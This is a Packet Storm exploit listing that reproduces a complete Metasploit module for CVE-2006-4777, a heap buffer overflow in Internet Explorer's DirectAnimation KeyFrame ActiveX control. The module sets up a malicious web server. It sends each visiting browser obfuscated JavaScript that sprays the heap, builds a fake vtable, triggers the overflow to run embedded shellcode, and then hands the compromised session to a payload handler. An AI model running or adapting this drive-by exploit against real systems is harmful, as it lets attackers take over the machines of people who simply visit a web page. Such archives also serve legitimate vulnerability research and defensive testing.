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Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability

🗓️ 26 Nov 2009 00:00:00Reported by Alexander SotirovType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability. This module exploits a heap overflow vulnerability in the KeyFrame method of the direct animation ActiveX control

Related
Code
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
#  
# This module acts as an HTTP server  
#  
include Msf::Exploit::Remote::HttpServer::HTML  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:ua_name => HttpClients::IE,  
:javascript => true,   
:os_name => OperatingSystems::WINDOWS,  
:vuln_test => 'KeyFrame',  
:classid => 'DirectAnimation.PathControl',  
:rank => NormalRanking # reliable memory corruption  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability',  
'Description' => %q{  
This module exploits a heap overflow vulnerability in the KeyFrame method of the  
direct animation ActiveX control. This is a port of the exploit implemented by  
Alexander Sotirov.  
},  
'License' => MSF_LICENSE,  
'Author' =>   
[   
# Did all the hard work  
'Alexander Sotirov <[email protected]>',   
# Integrated into msf  
'skape',   
],  
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2006-4777' ],  
[ 'OSVDB', '28842' ],  
[ 'BID', '20047' ],  
[ 'URL', 'https://www.blackhat.com/presentations/bh-eu-07/Sotirov/Sotirov-Source-Code.zip' ],  
[ 'URL', 'http://www.microsoft.com/technet/security/Bulletin/MS06-067.mspx' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
# Maximum payload size is limited by heaplib  
'Space' => 870,  
'MinNops' => 32,  
'Compat' =>   
{  
'ConnectionType' => '-find',  
},  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 2000/XP/2003 Universal', { }],  
],  
'DisclosureDate' => 'Nov 14 2006',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
return if ((p = regenerate_payload(cli)) == nil)  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# This is taken directly from Alex's exploit -- all credit goes to him.  
trigger_js = heaplib(  
"var target = new ActiveXObject('DirectAnimation.PathControl');\n" +  
"var heap = new heapLib.ie();\n" +  
"var shellcode = unescape('#{Rex::Text.to_unescape(p.encoded)}');\n" +  
"var jmpecx = 0x4058b5;\n" +  
"var vtable = heap.vtable(shellcode, jmpecx);\n" +  
"var fakeObjPtr = heap.lookasideAddr(vtable);\n" +  
"var fakeObjChunk = heap.padding((0x200c-4)/2) + heap.addr(fakeObjPtr) + heap.padding(14/2);\n" +  
"heap.gc();\n" +  
"for (var i = 0; i < 100; i++)\n" +  
" heap.alloc(vtable)\n" +  
"heap.lookaside(vtable);\n" +  
"for (var i = 0; i < 100; i++)\n" +  
" heap.alloc(0x2010)\n" +  
"heap.freeList(fakeObjChunk, 2);\n" +  
"target.KeyFrame(0x40000801, new Array(1), new Array(1));\n" +  
"delete heap;\n")  
  
# Obfuscate it up a bit  
trigger_js = obfuscate_js(trigger_js,  
'Symbols' =>   
{  
'Variables' => [ 'target', 'heap', 'shellcode', 'jmpecx', 'fakeObjPtr', 'fakeObjChunk' ]  
})  
  
# Fire off the page to the client  
send_response(cli,   
"<html><script language='javascript'>#{trigger_js}</script></html>")  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

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